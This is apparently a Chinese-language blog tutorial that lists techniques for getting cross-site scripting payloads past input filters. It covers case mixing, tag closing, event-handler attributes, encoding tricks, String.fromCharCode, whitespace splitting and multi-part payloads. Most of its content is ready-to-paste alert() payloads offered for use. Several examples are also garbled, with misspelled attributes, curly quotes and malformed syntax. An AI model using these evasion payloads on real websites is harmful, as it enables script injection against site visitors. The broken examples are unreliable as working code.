xss绕过方法
1.改变大小写
将大小写穿插编写
<script>alert(“xss”);</script>
可以转换为:
<ScRipt>ALeRt(“XSS”);</sCRipT>
2.关闭标签
利用大于号>关闭标签使得xss生效
><script>alert(“Hi”);</script>
3.利用html标签触发事件
很多标签都可以对过滤进行绕过
格式:< 标签 事件 = 执行语句
例如:
<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </p>
<input onfocus="alert('1')" autofocus/>
<body onload="alert('xss')"></body>
<iframe src="./alert.html"></iframe>
<img onmouseover=”alert(‘xxs’)”>
即使在攻击不需要任何标签属性的情况下,也应该尝试在标签名称之后添加一些多余的内容,因为这会绕过一些简单的过滤器.
4.编码绕过
过滤严格的函数可能也会将标签进行严格控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤
常见的编码方式有:
HTML实体编码(&#ASCII) 参考资料
十进制、十六进制、八进制编码 编码器
unicode编码 编码器
escape编码 编码器
及下面将要讲到的String.fromCharCode(…)方法,如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用
eg1:
将下面语句进行hex编码
<script>alert(“xss”);</script>
上述语句hex编码后:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%E2%80%9C%78%73%73%E2%80%9D%29%3B%3C%2F%73%63%72%69%70%74%3E
eg2:
<img src="javascriptt&#alert(/xss/);">
eg3:
<script>eval("\61\6c\65......");<script>
5.利用js中的String.fromCharCode绕过magic_quotes_gpc
我理解的magic_quotes_gpc=ON和addslashes()进行函数处理后得到的效果一样,比如就是将’转义成/‘,“转义成/”,开启了magic_quotes_gpc的网站会对我们编写的xss语句进行转义,从而使得语句失效,所以我们可以使用String.fromCharCode()方法避免magic_quotes_gpc对语句的转义。
String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。
String.fromCharCode()方法
利用此方法编码97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41后就是alert(“xss”)
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41)</script>
6.使用默认SRC属性绕过SRC域名过滤器
此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick。
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
此处补充一些事件处理函数:
事件 | 描述 |
---|---|
onclick | 在用户使用鼠标左键点击对象时触发 |
ondblclick | 用户双击对象时触发 |
onmousedown | 用户用任何鼠标按键单击对象时触发 |
onmouseenter/onmouseover | 用户将鼠标指针移动到对象内时触发 |
onmouseleave/onmouseout | 用户将鼠标移出对象边界时触发 |
onmousemove | 用户将鼠标划过对象时触发 |
onmouseup | 用户在鼠标位于对象之上时释放鼠标按钮触发 |
onmousewheel | 鼠标滚轮按钮旋转时触发 |
onpaste | 用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发 |
onpropertychange | 在对象上发生对象属性更改时触发 |
onkeydown | 用户按下键盘按键时触发 |
onerror | 装载文档或图像的过程中发生错误时触发 |
onload | 加载完毕自动触发 |
7.空格/回车(换行符)/Tab
当过滤掉了Javascript等敏感字符串时就对字符串进行添加空格,换行或tab,此处利用js自身的性质:js通常用分号结尾,当解析到完整语句并且行尾存在换行符的情况下就可以忽略掉分号,若解析确定不是完整语句,则会继续处理,直到语句结束或出现分号。
例如下列语句,我们利用空格将语句分隔成了两部分,解析引擎解析确定到的不是完整的语句,JavaScript则会继续进行处理直到这个语句结束,利用换行符和tab同理。
<img src="java script:alert(‘xss‘);" width=100>
或者
<img src="javascript: alert(‘xss‘);" width=100>
8.拆分跨站法
拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站。
例如:
< script>z=‘document.‘
< script>z=+‘write‘("‘
< script>z=z+‘<script‘
…
< script>eval(z)
另外除了像上面多次提交,也可以引用其他变量如:eval(qUserInfo.spaceName)形式,由于qUserInfo.spaceName是可控变量,因此改变其值就可以绕过长度限制
若有任何错误或理解上的偏差欢迎指正